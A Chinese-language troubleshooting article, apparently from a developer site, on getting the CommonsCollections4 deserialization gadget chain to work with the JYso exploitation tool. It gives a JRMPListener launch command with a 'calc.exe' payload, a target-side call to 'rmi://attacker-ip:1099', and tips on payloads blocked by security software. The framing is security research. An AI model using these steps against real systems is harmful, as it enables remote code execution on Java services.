JYso项目中的CommonsCollections4链测试问题分析与解决
2025-07-10 02:29:53作者:晏闻田Solitary
背景介绍
JYso是一个Java反序列化工具,它集成了多种常见的反序列化链(Gadget Chains),其中包括著名的CommonsCollections4(CC4)链。在实际测试中,正确使用这些链对目标系统进行功能验证是研究人员的重要工作。
问题现象
用户在使用JYso测试CC4链时遇到了几个关键问题:
- 初始尝试使用RMI协议直接调用
Deserialization/CommonsCollections4/command/Base64/Y2FsYw==路径时失败,提示RMI中没有Deserialization路由 - 改用JRMPListener方式时,在高版本JDK(17.0.11)下出现
Permit$InitializationFailed错误 - 即使切换到JDK 1.8环境,JRMPListener方式也没有成功触发功能
技术分析
RMI与JRMP协议的区别
在Java反序列化中,RMI(Remote Method Invocation)和JRMP(Java Remote Method Protocol)是两种常用的协议,但它们有以下区别:
- RMI是一个完整的远程调用框架,包含命名服务、对象序列化等功能
- JRMP是RMI底层的传输协议,专门用于Java对象序列化传输
- 在功能场景中,JRMPListener通常用于直接发送序列化对象
JDK版本兼容性问题
从错误信息可以看出,在高版本JDK(如17)中运行时出现了模块系统相关的访问限制:
java.lang.IllegalAccessError: class com.qi4l.jndi.RMIServer cannot access class com.sun.jndi.rmi.registry.ReferenceWrapper
这是由于JDK9引入的模块化系统对内部API访问进行了更严格的限制。同时,Permit$InitializationFailed错误表明工具中的反射机制在高版本JDK中无法正常工作。
CommonsCollections4链的特殊性
CC4链是Apache Commons Collections库中的一个反序列化链,相比CC1链,它:
- 使用了不同的Transformer链构造方式
- 在某些环境下可能有更高的成功率
- 对JDK版本和依赖库版本有特定要求
解决方案
经过项目维护者的确认和修复,正确的CC4链测试方法如下:
-
使用JRMPListener方式:
java -cp JYso.jar com.qi4l.jndi.exploit.JRMPListener 1099 -g CommonsCollections4 -p "calc.exe" -
JDK版本选择:
- 推荐使用JDK 1.8进行测试
- 如需使用高版本JDK,需要重新编译适配
-
目标系统调用:
Naming.lookup("rmi://attacker-ip:1099/test");
最佳实践建议
-
环境准备:
- 准备干净的JDK 1.8环境
- 确保测试环境网络连通
-
测试流程:
- 先启动JRMPListener
- 再触发目标系统的反序列化点
- 观察Listener端是否收到连接并成功发送payload
-
问题排查:
- 检查防火墙设置
- 确认JDK版本兼容性
- 验证payload是否被安全软件拦截
总结
JYso项目中的CC4链测试需要特别注意协议选择和JDK版本兼容性问题。通过使用正确的JRMPListener方式并在适当的JDK环境下运行,可以成功验证功能。对于研究人员来说,理解不同链的特性和适用环境是进行有效功能验证的关键。
登录后查看全文
热门项目推荐
相关项目推荐
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0447
源启盛夏_AtomGit暑期开发者成长计划「源启盛夏」暑期校园开发者成长计划旨在激活校园开源力量,通过积分激励、认证扶持、资源倾斜等形式,引导高校组织和开发者完成「入驻 — 建项目 — 做贡献 — 获认证 — 得资源」的完整闭环。无论你是想带领社团入驻平台的组织者,还是希望用代码贡献证明自己的开发者,都能在这里找到属于你的成长路径。Markdown00
jiuwenswarmJiuwenSwarm 是一款基于openJiuwen开发的智能AI Agent,它能够将大语言模型的强大能力,通过你日常使用的各类通讯应用,直接延伸至你的指尖。Python0766
Hy3Hy3 是由腾讯混元团队研发的快慢思考融合的混合专家模型,总参数量 295B,激活参数 21B,MTP 层参数 3.8B。4 月底发布 Hy3 Preview 后,我们在 50 多个业务中获得了广泛的反馈,修复了各种体验问题,进一步提升了后训练的质量和规模。今天,我们发布 Hy3。它展现出显著强于同尺寸并比肩旗舰(参数规模往往是 Hy3 的 2~5 倍)开源模型的智能水平,显著提升了在各类产品和生产力任务中的实用价值。Python00
AscendNPU-IRAscendNPU-IR是基于MLIR(Multi-Level Intermediate Representation)构建的,面向昇腾亲和算子编译时使用的中间表示,提供昇腾完备表达能力,通过编译优化提升昇腾AI处理器计算效率,支持通过生态框架使能昇腾AI处理器与深度调优C++0312
DragonOSDragonOS is an operating system developed from scratch using Rust, with Linux compatibility. It is designed for **Serverless** scenarios. 使用Rust从0自研内核,具有Linux兼容性的操作系统,面向云计算Serverless场景而设计。Rust00
热门内容推荐
最新内容推荐
项目优选
收起
暂无描述
Markdown
827
5.48 K
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
494
515
本项目是CANN提供的神经网络类计算算子库,实现网络在NPU上加速计算。
C++
783
1.57 K
作为 Ascend for PyTorch 社区的核心组件,TorchNPU 是昇腾专为 PyTorch 打造的深度学习适配插件,使 PyTorch 框架能够直接调用昇腾 NPU,为开发者提供昇腾 AI 处理器的超强算力。
Python
800
1.14 K
本项目是CANN提供的transformer类大模型算子库,实现网络在NPU上加速计算。
C++
970
2.28 K
deepin linux kernel
C
32
16
AscendNPU-IR是基于MLIR(Multi-Level Intermediate Representation)构建的,面向昇腾亲和算子编译时使用的中间表示,提供昇腾完备表达能力,通过编译优化提升昇腾AI处理器计算效率,支持通过生态框架使能昇腾AI处理器与深度调优
C++
480
312
JiuwenSwarm 是一款基于openJiuwen开发的智能AI Agent,它能够将大语言模型的强大能力,通过你日常使用的各类通讯应用,直接延伸至你的指尖。
Python
3.01 K
766
CANNBot 是面向 CANN 开发的用于提升开发效率的系列智能体,本仓库为其提供可复用的 Skills 模块。
Markdown
1.26 K
808
CANN 学习中心仓,支持在线互动运行、边学边练,提供教程、示例与优化方案,一站式助力昇腾开发者快速上手。
Jupyter Notebook
647
284